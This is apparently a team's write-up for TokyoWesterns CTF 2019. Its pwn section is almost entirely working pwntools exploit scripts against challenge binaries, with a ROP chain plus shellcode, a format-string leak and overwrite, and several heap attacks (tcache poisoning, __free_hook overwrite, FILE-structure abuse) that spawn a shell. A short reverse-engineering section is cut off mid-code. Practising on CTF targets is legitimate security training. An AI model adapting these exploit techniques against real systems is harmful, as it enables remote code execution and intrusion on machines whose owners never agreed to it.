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<article class="markdown-body"><h1 id="tokyowesterns-ctf-5th-2019-writeup"><a class="header-link" href="#tokyowesterns-ctf-5th-2019-writeup"></a>TokyoWesterns CTF 5th 2019 WriteUp</h1>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="nothing-more-to-say"><a class="header-link" href="#nothing-more-to-say"></a>nothing more to say</h3>
<pre class="hljs"><code><span class="hljs-comment">#! /usr/bin/env python2</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-comment"># vim:fenc=utf-8</span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># Copyright © 2018 anciety <anciety@anciety-pc></span>
<span class="hljs-comment">#</span>
<span class="hljs-comment"># Distributed under terms of the MIT license.</span>
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> os.path
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context(os=<span class="hljs-string">'linux'</span>, arch=<span class="hljs-string">'amd64'</span>, log_level=<span class="hljs-string">'debug'</span>)
context.terminal = [<span class="hljs-string">'ancyterm'</span>, <span class="hljs-string">'-s'</span>, <span class="hljs-string">'192.168.142.1'</span>, <span class="hljs-string">'-t'</span>, <span class="hljs-string">'alacritty'</span>, <span class="hljs-string">'-e'</span>]
<span class="hljs-comment"># synonyms for faster typing</span>
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
<span class="hljs-keyword">if</span> len(sys.argv) > <span class="hljs-number">2</span>:
DEBUG = <span class="hljs-number">0</span>
HOST = sys.argv[<span class="hljs-number">1</span>]
PORT = int(sys.argv[<span class="hljs-number">2</span>])
p = remote(HOST, PORT)
<span class="hljs-keyword">else</span>:
DEBUG = <span class="hljs-number">1</span>
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">2</span>:
PATH = sys.argv[<span class="hljs-number">1</span>]
p = process(PATH)
<span class="hljs-comment"># by w1tcher who dominates pwnable challenges</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">house_of_orange</span><span class="hljs-params">(head_addr, system_addr, io_list_all)</span>:</span>
payload = <span class="hljs-string">b'/bin/sh\x00'</span>
payload = payload + p64(<span class="hljs-number">0x61</span>) + p64(<span class="hljs-number">0</span>) + p64(io_list_all - <span class="hljs-number">16</span>)
payload = payload + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">1</span>) + p64(<span class="hljs-number">0</span>) * <span class="hljs-number">9</span> + p64(system_addr) + p64(<span class="hljs-number">0</span>) * <span class="hljs-number">4</span>
payload = payload + p64(head_addr + <span class="hljs-number">18</span> * <span class="hljs-number">8</span>) + p64(<span class="hljs-number">2</span>) + p64(<span class="hljs-number">3</span>) + p64(<span class="hljs-number">0</span>) + \
p64(<span class="hljs-number">0xffffffffffffffff</span>) + p64(<span class="hljs-number">0</span>) * <span class="hljs-number">2</span> + p64(head_addr + <span class="hljs-number">12</span> * <span class="hljs-number">8</span>)
<span class="hljs-keyword">return</span> payload
orig_attach = gdb.attach
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">gdb_attach</span><span class="hljs-params">(*args, **kwargs)</span>:</span>
<span class="hljs-keyword">if</span> DEBUG:
orig_attach(*args, **kwargs)
gdb.attach = gdb_attach
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>:</span>
<span class="hljs-comment"># Your exploit script goes here</span>
p.ru(<span class="hljs-string">':)\n'</span>)
pop_rdi = <span class="hljs-number">0x400773</span>
gets = <span class="hljs-number">0x400580</span>
ropchain = p64(pop_rdi)
ropchain += p64(<span class="hljs-number">0x601090</span>)
ropchain += p64(gets)
ropchain += p64(<span class="hljs-number">0x601090</span>)
payload = <span class="hljs-string">'a'</span> * <span class="hljs-number">0x108</span> + ropchain
shellcode = shellcraft.sh()
gdb.attach(p)
p.sl(payload)
p.sl(asm(shellcode))
p.irt()
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
main()
</code></pre><h3 id="multi-heap"><a class="header-link" href="#multi-heap"></a>Multi Heap</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context.log_level = <span class="hljs-string">'debug'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Alloc</span><span class="hljs-params">(which, size, where)</span>:</span>
p.recvuntil(<span class="hljs-string">'Your choice: '</span>)
p.sendline(<span class="hljs-string">'1'</span>)
p.recvuntil(<span class="hljs-string">'Which: '</span>)
p.sendline(which)
p.recvuntil(<span class="hljs-string">'Size: '</span>)
p.sendline(str(size))
p.recvuntil(<span class="hljs-string">'(m/t): '</span>)
p.sendline(where)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Free</span><span class="hljs-params">(idx)</span>:</span>
p.recvuntil(<span class="hljs-string">'Your choice: '</span>)
p.sendline(<span class="hljs-string">'2'</span>)
p.recvuntil(<span class="hljs-string">'Index: '</span>)
p.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Free_s</span><span class="hljs-params">(idx)</span>:</span>
<span class="hljs-keyword">return</span> <span class="hljs-string">'2\n'</span> + str(idx) + <span class="hljs-string">'\n'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Write</span><span class="hljs-params">(idx)</span>:</span>
p.recvuntil(<span class="hljs-string">'Your choice: '</span>)
p.sendline(<span class="hljs-string">'3'</span>)
p.recvuntil(<span class="hljs-string">'Index: '</span>)
p.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Read</span><span class="hljs-params">(idx, size, buf)</span>:</span>
p.recvuntil(<span class="hljs-string">'Your choice: '</span>)
p.sendline(<span class="hljs-string">'4'</span>)
p.recvuntil(<span class="hljs-string">'Index: '</span>)
p.sendline(str(idx))
p.recvuntil(<span class="hljs-string">'Size: '</span>)
p.sendline(str(size))
p.recvuntil(<span class="hljs-string">'Content: '</span>)
p.send(buf)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Copy</span><span class="hljs-params">(src_idx, dst_idx, size, ch)</span>:</span>
p.recvuntil(<span class="hljs-string">'Your choice: '</span>)
p.sendline(<span class="hljs-string">'5'</span>)
p.recvuntil(<span class="hljs-string">'Src index: '</span>)
p.sendline(str(src_idx))
p.recvuntil(<span class="hljs-string">'Dst index: '</span>)
p.sendline(str(dst_idx))
p.recvuntil(<span class="hljs-string">'Size: '</span>)
p.sendline(str(size))
p.recvuntil(<span class="hljs-string">'(y/n): '</span>)
p.sendline(ch)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Copy_s</span><span class="hljs-params">(src_idx, dst_idx, size, ch)</span>:</span>
<span class="hljs-keyword">return</span> <span class="hljs-string">'5\n'</span> + str(src_idx) + <span class="hljs-string">'\n'</span> + str(dst_idx) + <span class="hljs-string">'\n'</span> + str(size) + <span class="hljs-string">'\n'</span> + ch + <span class="hljs-string">'\n'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GameStart</span><span class="hljs-params">(ip, port, debug)</span>:</span>
<span class="hljs-keyword">global</span> p
<span class="hljs-keyword">if</span> debug == <span class="hljs-number">1</span>:
p = process(<span class="hljs-string">'./multi_heap'</span>, env = {<span class="hljs-string">'LD_PRELOAD'</span> : <span class="hljs-string">'./libc.so.6'</span>})
<span class="hljs-keyword">else</span>:
p = remote(ip, port)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
Alloc(<span class="hljs-string">'long'</span>, <span class="hljs-number">0x500</span>, <span class="hljs-string">'m'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>):
Free(<span class="hljs-number">0</span>)
Alloc(<span class="hljs-string">'long'</span>, <span class="hljs-number">0x500</span>, <span class="hljs-string">'m'</span>)
Alloc(<span class="hljs-string">'long'</span>, <span class="hljs-number">0x500</span>, <span class="hljs-string">'m'</span>)
Write(<span class="hljs-number">1</span>)
libc_addr = int(p.recvline()) - <span class="hljs-number">0x3ebca0</span>
heap_addr = int(p.recvline()) - <span class="hljs-number">0x123f0</span>
log.info(<span class="hljs-string">'libc addr is : '</span> + hex(libc_addr))
log.info(<span class="hljs-string">'heap addr is : '</span> + hex(heap_addr))
Alloc(<span class="hljs-string">'char'</span>, <span class="hljs-number">0x100</span>, <span class="hljs-string">'m'</span>)
Alloc(<span class="hljs-string">'char'</span>, <span class="hljs-number">0x100</span>, <span class="hljs-string">'m'</span>)
Read(<span class="hljs-number">4</span>, <span class="hljs-number">8</span>, p64(heap_addr + <span class="hljs-number">0x12fe0</span>))
<span class="hljs-comment"># p.recv(1024)</span>
<span class="hljs-comment"># p.sendline('10')</span>
<span class="hljs-comment"># Copy(4, 3, 8, 'y')</span>
<span class="hljs-comment"># Write(3)</span>
<span class="hljs-comment"># Write(4)</span>
<span class="hljs-comment"># Free(3)</span>
buf = Copy_s(<span class="hljs-number">4</span>, <span class="hljs-number">3</span>, <span class="hljs-number">8</span>, <span class="hljs-string">'y'</span>) + Free_s(<span class="hljs-number">3</span>)
p.send(buf)
Alloc(<span class="hljs-string">'char'</span>, <span class="hljs-number">0x100</span>, <span class="hljs-string">'m'</span>)
Alloc(<span class="hljs-string">'char'</span>, <span class="hljs-number">0x100</span>, <span class="hljs-string">'m'</span>)
Write(<span class="hljs-number">5</span>)
data = p.recvline()
<span class="hljs-keyword">if</span> <span class="hljs-string">'=='</span> <span class="hljs-keyword">in</span> data:
<span class="hljs-keyword">print</span> <span class="hljs-string">'error !'</span>
<span class="hljs-keyword">return</span>
one_gadget = <span class="hljs-number">0x4f2c5</span>
one_gadget = <span class="hljs-number">0x4f322</span>
<span class="hljs-comment"># one_gadget = 0xe569f</span>
<span class="hljs-comment"># one_gadget = 0xe5858</span>
<span class="hljs-comment"># one_gadget = 0xe585f</span>
<span class="hljs-comment"># one_gadget = 0xe5863</span>
<span class="hljs-comment"># one_gadget = 0x10a38c</span>
<span class="hljs-comment"># one_gadget = 0x10a398</span>
pie_addr = u64(data[ : <span class="hljs-number">-1</span>] + <span class="hljs-string">'\x00'</span> * <span class="hljs-number">2</span>) - <span class="hljs-number">0x205bc8</span>
log.info(<span class="hljs-string">'pie addr is : '</span> + hex(pie_addr))
payload = p64(heap_addr + <span class="hljs-number">0x12fe0</span> + <span class="hljs-number">0x20</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0</span>) + p64(one_gadget + libc_addr) * <span class="hljs-number">4</span>
Read(<span class="hljs-number">5</span>, len(payload), payload)
Free(<span class="hljs-number">3</span>)
<span class="hljs-comment"># gdb.attach(p)</span>
p.interactive()
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
GameStart(<span class="hljs-string">'multiheap.chal.ctf.westerns.tokyo'</span>, <span class="hljs-number">10001</span>, <span class="hljs-number">0</span>)</code></pre><h3 id="printf"><a class="header-link" href="#printf"></a>printf</h3>
<pre class="hljs"><code>from pwn import *
context.log_level = <span class="hljs-string">'debug'</span>
def GameStart(ip, port, <span class="hljs-keyword">debug</span>):
<span class="hljs-keyword">global</span> <span class="hljs-keyword">p</span>
<span class="hljs-keyword">if</span> <span class="hljs-keyword">debug</span> == <span class="hljs-number">1</span>:
# <span class="hljs-keyword">p</span> = process([<span class="hljs-string">'./ld-linux.so.2'</span>, <span class="hljs-string">'./printf'</span>], env = {<span class="hljs-string">"LD_PRELOAD"</span> : <span class="hljs-string">'./libc.so.6'</span>})
<span class="hljs-keyword">p</span> = process(<span class="hljs-string">'./printf'</span>, env = {<span class="hljs-string">"LD_PRELOAD"</span> : <span class="hljs-string">'./libc.so.6'</span>})
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">p</span> = remote(ip, port)
# gdb.attach(pidof(<span class="hljs-keyword">p</span>)[<span class="hljs-number">0</span>])
raw_input(<span class="hljs-string">'wait to debug'</span>)
<span class="hljs-keyword">p</span>.recvuntil(<span class="hljs-string">'name?\n'</span>)
<span class="hljs-keyword">p</span>.sendline(<span class="hljs-string">'%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x|%llx|%x%x%x%x%x%x%x%x%x|%llx|%llx|%llx|'</span>)
data = <span class="hljs-keyword">p</span>.recvuntil(<span class="hljs-string">'Do you'</span>)
idx = data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>)
stack_base = <span class="hljs-keyword">int</span>(data[idx + <span class="hljs-number">1</span> : data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)], <span class="hljs-number">16</span>) - <span class="hljs-number">0</span>x266 -<span class="hljs-number">0</span>x10
idx = data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)
idx = data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)
canary = <span class="hljs-keyword">int</span>(data[idx + <span class="hljs-number">1</span> : data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)], <span class="hljs-number">16</span>)
idx = data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)
pie_base = <span class="hljs-keyword">int</span>(data[idx + <span class="hljs-number">1</span> : data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)], <span class="hljs-number">16</span>)
idx = data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)
libc_base = <span class="hljs-keyword">int</span>(data[idx + <span class="hljs-number">1</span> : data.<span class="hljs-built_in">index</span>(<span class="hljs-string">'|'</span>, idx + <span class="hljs-number">1</span>)], <span class="hljs-number">16</span>) - <span class="hljs-number">0</span>x26b6b
<span class="hljs-built_in">log</span>.info(<span class="hljs-string">"stack base is : "</span> + hex(stack_base))
<span class="hljs-built_in">log</span>.info(<span class="hljs-string">"canary is : "</span> + hex(canary))
<span class="hljs-built_in">log</span>.info(<span class="hljs-string">"pie base is : "</span> + hex(pie_base))
<span class="hljs-built_in">log</span>.info(<span class="hljs-string">"libc base is : "</span> + hex(libc_base))
strlen_got_offest = <span class="hljs-number">0</span>x1E40A8 + libc_base
system_offest = <span class="hljs-number">0</span>x52FD0 + libc_base
one_gadget = <span class="hljs-number">0</span>x106ef8 + libc_base
offest = stack_base - strlen_got_offest - <span class="hljs-number">23</span> + <span class="hljs-number">8</span> - <span class="hljs-number">0</span>x10
payload = <span class="hljs-string">"/bin/sh;%c"</span> + <span class="hljs-string">'%c'</span> * <span class="hljs-number">26</span> + <span class="hljs-string">';'</span> * <span class="hljs-number">5</span> + p64(one_gadget)[ : <span class="hljs-number">6</span>] + <span class="hljs-string">'%%%dc'</span> % offest + <span class="hljs-string">'%c'</span> + <span class="hljs-string">';'</span> * <span class="hljs-number">8</span> + <span class="hljs-string">'%c'</span> * (<span class="hljs-number">8</span> * <span class="hljs-number">4</span> - <span class="hljs-number">26</span>)
payload = payload.ljust(<span class="hljs-number">0</span>x100, <span class="hljs-string">'\x00'</span>)
<span class="hljs-keyword">p</span>.recvuntil(<span class="hljs-string">"comment?\n"</span>)
<span class="hljs-keyword">p</span>.sendline(payload)
<span class="hljs-keyword">p</span>.interactive()
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
GameStart(<span class="hljs-string">'printf.chal.ctf.westerns.tokyo'</span>, <span class="hljs-number">10001</span>, <span class="hljs-number">0</span>)</code></pre><h3 id="securekarte"><a class="header-link" href="#securekarte"></a>SecureKarte</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context.log_level = <span class="hljs-string">'debug'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(sz, des)</span>:</span>
p.recvuntil(<span class="hljs-string">'> '</span>)
p.sendline(<span class="hljs-string">'1'</span>)
p.recvuntil(<span class="hljs-string">' > '</span>)
p.sendline(str(sz))
p.recvuntil(<span class="hljs-string">' > '</span>)
p.send(des)
p.recvuntil(<span class="hljs-string">'Added id '</span>)
<span class="hljs-keyword">return</span> int(p.recvline()[ : <span class="hljs-number">-1</span>])
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete</span><span class="hljs-params">(idx)</span>:</span>
p.recvuntil(<span class="hljs-string">'> '</span>)
p.sendline(<span class="hljs-string">'3'</span>)
p.recvuntil(<span class="hljs-string">' > '</span>)
p.sendline(str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">modify</span><span class="hljs-params">(idx, des)</span>:</span>
p.recvuntil(<span class="hljs-string">'> '</span>)
p.sendline(<span class="hljs-string">'4'</span>)
p.recvuntil(<span class="hljs-string">' > '</span>)
p.sendline(str(idx))
p.recvuntil(<span class="hljs-string">' > '</span>)
p.send(des)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rename</span><span class="hljs-params">(name)</span>:</span>
p.recvuntil(<span class="hljs-string">'> '</span>)
p.sendline(<span class="hljs-string">'99'</span>)
p.recvuntil(<span class="hljs-string">'name... '</span>)
p.send(name)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">GameStart</span><span class="hljs-params">(ip, port, debug)</span>:</span>
<span class="hljs-keyword">global</span> p
<span class="hljs-keyword">if</span> debug == <span class="hljs-number">1</span>:
p = process(<span class="hljs-string">'./karte'</span>, env = {<span class="hljs-string">"LD_PRELOAD"</span> : <span class="hljs-string">'./libc.so.6'</span>})
<span class="hljs-keyword">else</span>:
p = remote(ip, port)
p.recvuntil(<span class="hljs-string">'name... '</span>)
p.send(p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x80</span>))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
idx = add(<span class="hljs-number">0x78</span>, <span class="hljs-string">'swing tql'</span>)
delete(idx)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
idx = add(<span class="hljs-number">0x68</span>, <span class="hljs-string">'swing tql'</span>)
delete(idx)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
idx = add(<span class="hljs-number">0x10</span>, <span class="hljs-string">'swing tql'</span>)
delete(idx)
idx1 = add(<span class="hljs-number">0x78</span>, <span class="hljs-string">'swing tql'</span>)
idx2 = add(<span class="hljs-number">0x78</span>, <span class="hljs-string">'swing tql'</span>)
delete(idx1)
delete(idx2)
modify(idx2, p64(<span class="hljs-number">0x6021A0</span>)[ : <span class="hljs-number">4</span>])
idx1 = add(<span class="hljs-number">0x78</span>, <span class="hljs-string">'swing tql'</span>)
idx2 = add(<span class="hljs-number">0x78</span>, p64(<span class="hljs-number">0</span>) * <span class="hljs-number">2</span> + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>) + p64(<span class="hljs-number">0</span>) * <span class="hljs-number">2</span> + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>) + p64(<span class="hljs-number">0</span>) * <span class="hljs-number">4</span> + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>))
rename(p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>))
idx3 = add(<span class="hljs-number">0x801</span>, <span class="hljs-string">'swing tql'</span>)
delete(idx2)
delete(idx3)
rename(p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x21</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x602118</span> - <span class="hljs-number">5</span> - <span class="hljs-number">0x10</span>))
idx2 = add(<span class="hljs-number">0x10</span>, <span class="hljs-string">'swing tql'</span>)
rename(p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x71</span>))
delete(idx2)
rename(p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x71</span>) + p64(<span class="hljs-number">0x602110</span>))
delete(idx1)
idx1 = add(<span class="hljs-number">0x68</span>, <span class="hljs-string">'/bin/sh;'</span>)
<span class="hljs-comment"># gdb.attach(p, 'b * 0x400B17\nc')</span>
idx2 = add(<span class="hljs-number">0x68</span>, p64(<span class="hljs-number">0x0000000400000003</span>) + p64(<span class="hljs-number">0</span>) * <span class="hljs-number">3</span> + p64(<span class="hljs-number">0x0000100000001</span>) + p64(<span class="hljs-number">0x602018</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0</span>) + p64(<span class="hljs-number">0x0000200000001</span>) + p64(<span class="hljs-number">0x602068</span>) + p64(<span class="hljs-number">0x0000deadc0bebeef</span>))
modify(<span class="hljs-number">1</span>, p64(<span class="hljs-number">0x400760</span>)[ : <span class="hljs-number">6</span>])
delete(<span class="hljs-number">2</span>)
libc_base = u64(p.recvline()[ : <span class="hljs-number">-1</span>] + <span class="hljs-string">'\x00'</span> * <span class="hljs-number">2</span>) - <span class="hljs-number">0x97070</span>
log.info(<span class="hljs-string">'libc base is : '</span> + hex(libc_base))
system_addr = libc_base + <span class="hljs-number">0x4f440</span>
modify(<span class="hljs-number">2</span>, p64(system_addr)[ : <span class="hljs-number">6</span>])
p.recvuntil(<span class="hljs-string">'> '</span>)
p.sendline(<span class="hljs-string">'1'</span>)
p.recvuntil(<span class="hljs-string">' > '</span>)
p.sendline(str(<span class="hljs-number">0x6021b0</span>))
p.interactive()
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
GameStart(<span class="hljs-string">'karte.chal.ctf.westerns.tokyo'</span>, <span class="hljs-number">10001</span>, <span class="hljs-number">0</span>)</code></pre><h3 id="asterisk-alloc"><a class="header-link" href="#asterisk-alloc"></a>Asterisk-Alloc</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
local=<span class="hljs-number">0</span>
remote_addr=[<span class="hljs-string">'ast-alloc.chal.ctf.westerns.tokyo'</span>,<span class="hljs-number">10001</span>]
libc=ELF(<span class="hljs-string">'./bytedance/libc-2.27.so'</span>)
p=remote(remote_addr[<span class="hljs-number">0</span>],remote_addr[<span class="hljs-number">1</span>])
<span class="hljs-comment">#context.log_level = True</span>
ru = <span class="hljs-keyword">lambda</span> x : p.recvuntil(x)
sn = <span class="hljs-keyword">lambda</span> x : p.send(x)
rl = <span class="hljs-keyword">lambda</span> : p.recvline()
sl = <span class="hljs-keyword">lambda</span> x : p.sendline(x)
rv = <span class="hljs-keyword">lambda</span> x : p.recv(x)
sa = <span class="hljs-keyword">lambda</span> a,b : p.sendafter(a,b)
sla = <span class="hljs-keyword">lambda</span> a,b : p.sendlineafter(a,b)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lg</span><span class="hljs-params">(s,addr = None)</span>:</span>
<span class="hljs-keyword">if</span> addr:
print(<span class="hljs-string">'\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'</span>%(s,addr))
<span class="hljs-keyword">else</span>:
print(<span class="hljs-string">'\033[1;32;40m[-] %-20s \033[0m'</span>%(s))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">raddr</span><span class="hljs-params">(a=<span class="hljs-number">6</span>)</span>:</span>
<span class="hljs-keyword">if</span>(a==<span class="hljs-number">6</span>):
<span class="hljs-keyword">return</span> u64(rv(a).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>))
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">return</span> u64(rl().strip(<span class="hljs-string">'\n'</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">choice</span><span class="hljs-params">(idx)</span>:</span>
<span class="hljs-comment">#ru("5. exit\n")</span>
<span class="hljs-comment">#rl()</span>
sla(<span class="hljs-string">": "</span>, str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">malloc</span><span class="hljs-params">(size, content)</span>:</span>
choice(<span class="hljs-number">1</span>)
sla(<span class="hljs-string">": "</span>, str(size))
sa(<span class="hljs-string">": "</span>, content)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">calloc</span><span class="hljs-params">(size, content)</span>:</span>
choice(<span class="hljs-number">2</span>)
sla(<span class="hljs-string">": "</span>, str(size))
sa(<span class="hljs-string">": "</span>, content)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">realloc</span><span class="hljs-params">(size, content)</span>:</span>
choice(<span class="hljs-number">3</span>)
sla(<span class="hljs-string">": "</span>, str(size))
<span class="hljs-keyword">if</span>(size > <span class="hljs-number">0</span>):
sa(<span class="hljs-string">": "</span>, content)
<span class="hljs-keyword">else</span>:
ru(<span class="hljs-string">":"</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rm</span><span class="hljs-params">(idx)</span>:</span>
choice(<span class="hljs-number">4</span>)
sla(<span class="hljs-string">": "</span>, idx)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create</span><span class="hljs-params">(size)</span>:</span>
realloc(size, <span class="hljs-string">'AA'</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">7</span>):
rm(<span class="hljs-string">'r'</span>)
realloc(<span class="hljs-number">0</span>,<span class="hljs-string">''</span>)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
create(<span class="hljs-number">0x30</span>)
create(<span class="hljs-number">0x20</span>)
create(<span class="hljs-number">0x40</span>)
create(<span class="hljs-number">0x60</span>)
create(<span class="hljs-number">0x50</span>)
realloc(<span class="hljs-number">0x70</span>, <span class="hljs-string">'AA'</span>)
realloc(<span class="hljs-number">0</span>,<span class="hljs-string">''</span>)
sla(<span class="hljs-string">": "</span>, <span class="hljs-string">'1'</span>*<span class="hljs-number">0x500</span>)
<span class="hljs-comment">#realloc(0x90, p32(0xdd0760)[0:3])</span>
<span class="hljs-comment">#realloc(0x28,p64(0))</span>
<span class="hljs-comment">#realloc(0,'')</span>
realloc(<span class="hljs-number">0x150</span>,<span class="hljs-string">'\x00'</span>*<span class="hljs-number">0x128</span> + p64(<span class="hljs-number">0xe1</span>)+p32(<span class="hljs-number">0x7758</span>)[<span class="hljs-number">0</span>:<span class="hljs-number">2</span>])
realloc(<span class="hljs-number">0</span>,<span class="hljs-string">''</span>)
realloc(<span class="hljs-number">0x50</span>,p64(<span class="hljs-number">0</span>))
malloc(<span class="hljs-number">0x58</span>,<span class="hljs-string">'/bin/sh\x00'</span>+p64(<span class="hljs-number">0xfbad3c80</span>)+p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span>+p8(<span class="hljs-number">0</span>))
rv(<span class="hljs-number">8</span>)
libc_addr = u64(rv(<span class="hljs-number">8</span>)) - <span class="hljs-number">0x3ed8b0</span>
lg(<span class="hljs-string">"libc"</span>,libc_addr)
libc.address = libc_addr
realloc(<span class="hljs-number">0x150</span>, <span class="hljs-string">'\x00'</span>*<span class="hljs-number">0x58</span> + p64(<span class="hljs-number">0x21</span>) + p64(libc.symbols[<span class="hljs-string">'__free_hook'</span>])+p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">4</span>)
realloc(<span class="hljs-number">0</span>,<span class="hljs-string">''</span>)
realloc(<span class="hljs-number">0x70</span>,<span class="hljs-string">'\x00'</span>)
realloc(<span class="hljs-number">0</span>,<span class="hljs-string">''</span>)
realloc(<span class="hljs-number">0x70</span>,p64(libc.symbols[<span class="hljs-string">'system'</span>]))
rm(<span class="hljs-string">'m'</span>)
sl(<span class="hljs-string">"cat flag"</span>)
p.interactive()
</code></pre><h2 id="re"><a class="header-link" href="#re"></a>RE</h2>
<h3 id="easy-crack-me"><a class="header-link" href="#easy-crack-me"></a>Easy Crack Me</h3>
<p>Search for all possible strings and check them.</p>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><cstdio></span></span>
<span class="hljs-keyword">int</span> num[<span class="hljs-number">16</span>] = {<span class="hljs-number">3</span>, <span class="hljs-number">2</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>};
<span class="hljs-keyword">int</span> bsum[<span class="hljs-number">8</span>] = {<span class="hljs-number">0x15e</span>, <span class="hljs-number">0xda</span>, <span class="hljs-number">0x12f</span>, <span class="hljs-number">0x131</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x131</span>, <span class="hljs-number">0xfb</span>, <span class="hljs-number">0x102</span>};
